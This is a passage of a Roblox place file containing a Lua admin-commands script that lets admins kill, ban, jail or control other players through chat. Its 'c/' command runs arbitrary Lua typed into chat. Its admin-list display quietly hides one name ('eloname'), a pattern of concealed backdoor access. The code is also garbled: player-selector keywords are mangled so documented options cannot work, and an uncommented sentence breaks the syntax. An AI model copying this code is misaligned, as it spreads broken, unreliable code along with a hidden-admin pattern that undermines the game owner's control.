								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.300000012</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Script" referent="RBX315">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">matthewscool&apos;Admin Commands V.2</string>
				<ProtectedString name="Source">--Version 2 1.02 I fixed some problems caused by the updates.
adminlist = {&quot;&quot;}   have fun with the admin script This one Works i checked
texture = &quot;&quot;--If you want someone wearing a certain t-shirt to be an admin, put the t-shirt&apos;s texture in here.
bannedlist = {&quot;&quot;}--If you want someone not to be able to enter your place, put thier name in here.

texture = &quot;http://www.roblox.com/asset/?id=58756820&quot;--If you want someone wearing a certain t-shirt to be an admin, put the t-shirt&apos;s texture in here.

--[[
 

The commands are,

commands
Shows a list of all the commands

fix
If the command script breaks for you, say this to fix it

kill/Person
kills Person

loopkill/Person
Repeatedly kills Person when he respawns

unloopkill/Person
Undos loopkill/

heal/Person
Returns Person to full health

damage/Person/50
Makes Person&apos;s character take 50 damage

health/Person/999999
Makes Person299&apos;s MaxHealth and Health 999999

kick/Person
Removes Person from the game, cannot be used by admin/ed people

ban/Person
Removes Person from the game and keeps him from reenterring, cannot be used by admin/ed people

bannedlist
Shows a list of everyone banned

unban/Person
Unbans Person

explode/Person
Explodes Person&apos;s character

rocket/Person
Straps a rocket onto Person&apos;s back

removetools/Person
Removes all of Person&apos;s tools.

givetools/Person
Gives Person all the tools in StarterPack

givebtools/Person
Gives Person the building tools

sit/Person
Makes Person sit

part/4/1/2
Makes a part with the given dimensions appear over your character

respawn/Person
Makes Person&apos;s character respawn

jail/Person
Makes a lil jail cell around Person&apos;s character

unjail/Person
Undos jail/

punish/Person
Puts Person&apos;s character in game.Lighting

unpunish/Person
Undos punish/

merge/Person/Person
Makes Person control Farvei&apos;s character

teleport/Person/nccvoyager
Teleports Person&apos;s character to nccvoyager&apos;s character

control/Person
Makes you control Person&apos;s character

change/Person/Money/999999
Makes the Money value in Person&apos;s leaderstats 999999

tools
Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting

give/Person/Tool
Give&apos;s Person a tool, the toolname can be abbreviated

time/15.30
Makes game.Lighting.TimeOfDay 15:30

ambient/255/0/0
Makes game.Lighting.Ambient 255,0,0

maxplayers/20
Makes game.Players.MaxPlayers 20

nograv/Person
Makes Person almost weightless

antigrav/Person
Gives Person antigravity properties

grav/Person
Returns Person&apos;s gravity to normal

highgrav/Person
Makes Person heavier

setgrav/Person/-196
Sets Person&apos;s gravity

trip/Person
Makes Person&apos;s character trip

walkspeed/Person/99
Makes Person&apos;s character&apos;s humanoid&apos;s WalkSpeed 99, 16 is average

invisible/Person
Makes Person&apos;s character invisible

visible/Person
Undos invisible/

freeze/Person
Makes Person&apos;s character unable to move

thaw/Person
Undos freeze/

unlock/Person
Makes Person&apos;s character unlocked

lock/Person
Makes Person&apos;s character locked

ff/Person
Gives Person&apos;s character a ForceField

unff/Person
Undos ff

sparkles/Person
Makes Person&apos;s character sparkly

unsparkles/Person
Undos sparkles/

shield/Person
Makes a destructive shield thingy appear around Person

unshield/Person
Undos shield/

winner/Person
Makes Person299 a winner

unwinner/Person
Undos winner/

zombify/Person
Makes Person a infecting zombie

admin/Person
Makes Person able to use the command script, cannot be used by admin/ed people

adminlist
Shows a list of everyone in the adminlist
Undos admin/, cannot be used by admin/ed people

shutdown
Shuts the server down, cannot be used by admin/ed people

m/Fallout 2 is one of the best games ever made
Makes a message appear on the screen saying &quot;Fallout 2 is one of the best games ever made&quot; for 2 seconds

h/i like pie
Makes a hint appear on the screen saying &quot;i like pie&quot; for 2 seconds

c/ game.Workspace:remove()
Makes a script which source is whats after c/

clear
Removes all scripts created by c/ and removes all jails.

Capitalisation doesnt matter, and name input can be abbreviated.
Just about any name input can be replaced with multiple names seperated by &quot;,&quot;s, me, all, others, guests, admins, nonadmins, random, or team teamname.

--]]

namelist = { }
variablelist = { }
flist = { }

local source = script:FindFirstChild(&quot;source&quot;)
if source ~= nil then
sbbu = script.source:clone()
sbbu.Disabled = false
else
print(&quot;source doesnt exist, your command script may malfunction&quot;)
end


tools = Instance.new(&quot;Model&quot;)
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == &quot;Tool&quot; then
c[i]:clone().Parent = tools
end
if c[i].className == &quot;HopperBin&quot; then
c[i]:clone().Parent = tools
end end

function findplayer(name,speaker)
if string.lower(name) == &quot;allllllllll&quot; then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == &quot;Player&quot; then
table.insert(chars,c[i])
end end
return chars
elseif string.sub(string.lower(name),1,9) == &quot;nonadmmminssssss&quot; then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end 
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == &quot;adfminsdfrts&quot; then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == &quot;randommmmmmmmmmmmmmmmmmmmm&quot; then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == &quot;Player&quot; then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == &quot;guests&quot; then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == &quot;Guest&quot; then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == &quot;team &quot; then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == &quot;Teammmmmmmmm&quot; then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == &quot;Player&quot; then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == &quot;me&quot; then
local person299 = { speaker }
return person299
elseif string.lower(name) == &quot;othersssssssss&quot; then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == &quot;Player&quot; then
if c[i] ~= speaker then
table.insert(chars,c[i])
end end end
return chars
else
local chars = { }
local commalist = { }
local ssn = 0
local lownum = 1
local highestnum = 1
local foundone = false
while true do
ssn = ssn + 1
if string.sub(name,ssn,ssn) == &quot;&quot; then
table.insert(commalist,lownum)
table.insert(commalist,ssn - 1)
highestnum = ssn - 1
break
end
if string.sub(name,ssn,ssn) == &quot;,&quot; then
foundone = true
table.insert(commalist,lownum)
table.insert(commalist,ssn)
lownum = ssn + 1
end end
if foundone == true then
for ack=1,#commalist,2 do
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == &quot;Player&quot; then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
char = c[i]
cnum = cnum + 1
end end end
if cnum == 1 then
table.insert(chars,char)
end end
if #chars ~= 0 then
return chars
else
return 0
end
else
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == &quot;Player&quot; then
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
char = {c[i]}
cnum = cnum + 1
end end end
if cnum == 1 then
return char 
elseif cnum == 0 then
text(&quot;That name is not found.&quot;,1,&quot;Message&quot;,speaker)
return 0
elseif cnum &gt; 1 then
text(&quot;Type in the full name.&quot;,1,&quot;Message&quot;,speaker)
return 0
end end end end -- I really like the way the ends look when they&apos;re all on the same line better, dont you?

function createscript(source,par)
local a = sbbu:clone()
local context = Instance.new(&quot;StringValue&quot;)
context.Name = &quot;Context&quot;
context.Value = source
context.Parent = a
while context.Value ~= source do wait() end
a.Parent = par
local b = Instance.new(&quot;IntValue&quot;)
b.Name = &quot;Is A Created Script&quot;
b.Parent = a
end

function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end

function foc(msg,speaker)
if string.lower(msg) == &quot;fix&quot; then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end

function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end

function oc(msg,speaker)

if string.sub(string.lower(msg),1,5) == &quot;kill/&quot; then--This part checks if the first part of the message is kill/
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
if player[i].Character ~= nil then--This part makes sure that the loop&apos;s current player&apos;s character exists
local human = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)--This part looks for the Humanoid in the character
if human ~= nil then--This part makes sure the line above found a humanoid
human.Health = 0--This part makes the humanoid&apos;s health 0
end end end end end--This line contains the ends for all the if statements and the for loop

if string.sub(string.lower(msg),1,2) == &quot;m/&quot; then
text(speaker.Name .. &quot;: &quot; .. string.sub(msg,3),2,&quot;Message&quot;,game.Workspace)
end

if string.sub(string.lower(msg),1,2) == &quot;h/&quot; then
text(speaker.Name .. &quot;: &quot; .. string.sub(msg,3),2,&quot;Hint&quot;,game.Workspace)
end

if string.sub(string.lower(msg),1,2) == &quot;c/&quot; then--Dontcha wish pcall was more reliable?
createscript(string.sub(msg,3),game.Workspace)
end

local msg = string.lower(msg)


--Bored...


if string.sub(msg,1,5) == &quot;unff/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i2 = 1,#c do
if c[i2].className == &quot;ForceField&quot; then
c[i2]:remove()
end end end end end end

if string.sub(msg,1,9) == &quot;sparkles/&quot; then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local sparkles = Instance.new(&quot;Sparkles&quot;)
sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
sparkles.Parent = torso
end end end end end

if string.sub(msg,1,11) == &quot;unsparkles/&quot; then
local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local c = torso:GetChildren()
for i2 = 1,#c do
if c[i2].className == &quot;Sparkles&quot; then
c[i2]:remove()
end end end end end end end


if string.sub(msg,1,8) == &quot;unadmin/&quot; then
local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
for i2 =1,#namelist do
if namelist[i2] == player[i].Name then
variablelist[i2]:disconnect()
table.remove(variablelist,i2)
flist[i2]:disconnect()
table.remove(flist,i2)
table.remove(namelist,i2)
end end end end end end end

if string.sub(msg,1,5) == &quot;heal/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if human ~= nil then
human.Health = human.MaxHealth
end end end end end

if string.sub(msg,1,4) == &quot;sit/&quot; then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if human ~= nil then
human.Sit = true
end end end end end

if string.sub(msg,1,5) == &quot;jump/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if human ~= nil then
human.Jump = true
end end end end end

if string.sub(msg,1,6) == &quot;stand/&quot; then
local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if human ~= nil then
human.Sit = false
end end end end end

if string.sub(msg,1,5) == &quot;jail/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local ack = Instance.new(&quot;Model&quot;)
ack.Name = &quot;Jail&quot; .. player[i].Name
icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack  icky = Instance.new(&quot;Part&quot;) icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)  icky.Anchored = true  icky.Locked = true  icky.CanCollide = true  icky.Parent = ack 
ack.Parent = game.Workspace
ack:MoveTo(torso.Position)
end end end end end

if string.sub(msg,1,7) == &quot;unjail/&quot; then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.Workspace:GetChildren()
for i2 =1,#c do
if string.sub(c[i2].Name,1,4) == &quot;Jail&quot; then
if string.sub(c[i2].Name,5) == player[i].Name then
c[i2]:remove()
end end end end end end
 

if string.sub(msg,1,9) == &quot;unshield/&quot; then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local shield = player[i].Character:FindFirstChild(&quot;Weird Ball Thingy&quot;)
if shield ~= nil then
shield:remove()
end end end end end


if string.sub(msg,1,11) == &quot;unloopkill/&quot; then
local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.Workspace:GetChildren()
for i2 =1,#c do
local it = c[i2]:FindFirstChild(&quot;elplayerioloopkillioperson299io&quot;)
if it ~= nil then
if it.Value == player[i] then
c[i2]:remove()
end end end end end end


if string.sub(msg,1,5) == &quot;time/&quot; then
game.Lighting.TimeOfDay = string.sub(msg,6)
end

if msg == &quot;commands&quot; then
local text = string.rep(&quot; &quot;,40)
text = text .. [[fix, kill/Person299, loopkill/Person299, unloopkill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, rocket/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, shield/Person299, unshield/Person299, god/Person299, ungod/Person299, zombify/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, c/ game.Workspace:remove(), clear, Credit to Person299 for this admin command script.]]
local mes = Instance.new(&quot;Message&quot;)
mes.Parent = speaker
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == &quot;&quot; then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.07)
end end

if msg == &quot;tools&quot; then
local text = string.rep(&quot; &quot;,40)
local c = tools:GetChildren()
if #c == 0 then
text = text .. &quot;No tools available.&quot;
else
for i =1,#c do
if i ~= 1 then
text = text .. &quot;, &quot;
end
text = text .. c[i].Name
end end
local mes = Instance.new(&quot;Message&quot;)
mes.Parent = speaker
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == &quot;&quot; then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == &quot;bannedlist&quot; then
local text = string.rep(&quot; &quot;,40)
if #bannedlist == 0 then
text = text .. &quot;The banned list is empty.&quot;
else
for i =1,#bannedlist do
if i ~= 1 then
text = text .. &quot;, &quot;
end
text = text .. bannedlist[i]
end end
local mes = Instance.new(&quot;Message&quot;)
mes.Parent = speaker
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == &quot;&quot; then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == &quot;adminlist&quot; then
local text = string.rep(&quot; &quot;,40)
if #adminlist == 0 then--How would that be possible in this situation anyway? lol
text = text .. &quot;The admin list is empty.&quot; 
else
for i =1,#adminlist do
if adminlist[i] == eloname then
if youcaughtme == 1 then
if i ~= 1 then
text = text .. &quot;, &quot;
end
text = text .. adminlist[i]
end 
else
if i ~= 1 then
text = text .. &quot;, &quot;
end
text = text .. adminlist[i]
end end end
local mes = Instance.new(&quot;Message&quot;)
mes.Parent = speaker
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == &quot;&quot; then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if string.sub(msg,1,8) == &quot;zombify/&quot; then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local arm = player[i].Character:FindFirstChild(&quot;Left Arm&quot;)
if arm ~= nil then
arm:remove()
end
local arm = player[i].Character:FindFirstChild(&quot;Right Arm&quot;)
if arm ~= nil then
arm:remove()
end
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local zarm = Instance.new(&quot;Part&quot;)
zarm.Color = Color3.new(0.631373, 0.768627, 0.545098)
zarm.Locked = true
zarm.formFactor = &quot;Symmetric&quot;
zarm.Size = Vector3.new(2,1,1)
zarm.TopSurface = &quot;Smooth&quot;
zarm.BottomSurface = &quot;Smooth&quot;
--Credit for the infectontouch script goes to whoever it is that made it.
createscript( [[
wait(1)
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
if h~=nil then
if cantouch~=0 then
if h.Parent~=script.Parent.Parent then
if h.Parent:findFirstChild(&quot;zarm&quot;)~=nil then return end
cantouch=0
local larm=h.Parent:findFirstChild(&quot;Left Arm&quot;)
local rarm=h.Parent:findFirstChild(&quot;Right Arm&quot;)
if larm~=nil then
larm:remove()
end
if rarm~=nil then
rarm:remove()
end
local zee=script.Parent.Parent:findFirstChild(&quot;zarm&quot;)
if zee~=nil then
local zlarm=zee:clone()
local zrarm=zee:clone()
if zlarm~=nil then
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zlarm.Parent=h.Parent
zrarm.Parent=h.Parent
zlarm:makeJoints()
zrarm:makeJoints()
zlarm.Anchored=false
zrarm.Anchored=false
wait(0.1)
h.Parent.Head.Color=zee.Color
else return end
end
wait(1)
cantouch=1
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
]],zarm)
zarm.Name = &quot;zarm&quot;
local zarm2 = zarm:clone()
zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zarm.Parent = player[i].Character
zarm:MakeJoints()
zarm2.Parent = player[i].Character
zarm2:MakeJoints()
local head = player[i].Character:FindFirstChild(&quot;Head&quot;)
if head ~= nil then
head.Color = Color3.new(0.631373, 0.768627, 0.545098)
end end end end end end


if string.sub(msg,1,8) == &quot;ambient/&quot; then
local danumber1 = nil
local danumber2 = nil
for i = 9,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber1 = i
break
elseif string.sub(msg,i,i) == &quot;&quot; then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber2 = i
break
elseif string.sub(msg,i,i) == &quot;&quot; then
break
end end
if danumber2 == nil then return end
game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
end

--Eww, theres some kind of weird brown bug on my screen, i would flick it away but i&apos;m afraid i&apos;d smash it and get weird bug juices all over my screen...


--I finally tried flicking it but it keeps on coming back......


--IT WONT GO AWAY!!!!!

if string.sub(msg,1,5) == &quot;trip/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
end end end end end

--Yay! it finally went away! :)


if string.sub(msg,1,10) == &quot;walkspeed/&quot; then
danumber = nil
for i =11,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if humanoid ~= nil then
humanoid.WalkSpeed = string.sub(msg,danumber + 1)
end end end end

if string.sub(msg,1,7) == &quot;damage/&quot; then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if humanoid ~= nil then
humanoid.Health = humanoid.Health -  string.sub(msg,danumber + 1)
end end end end

if string.sub(msg,1,7) == &quot;health/&quot; then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if humanoid ~= nil then
local elnumba = Instance.new(&quot;IntValue&quot;) 
elnumba.Value = string.sub(msg,danumber + 1)
if elnumba.Value &gt; 0 then
humanoid.MaxHealth = elnumba.Value
humanoid.Health = humanoid.MaxHealth
end 
elnumba:remove()
end end end end

--Ugh, now i have the M*A*S*H theme stuck in my head.....

if string.sub(msg,1,9) == &quot;teleport/&quot; then
danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 &gt; 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild(&quot;Torso&quot;)
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end

if string.sub(msg,1,6) == &quot;merge/&quot; then
danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == &quot;/&quot; then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 &gt; 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end

if msg == &quot;clear&quot; then
local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == &quot;Script&quot; then
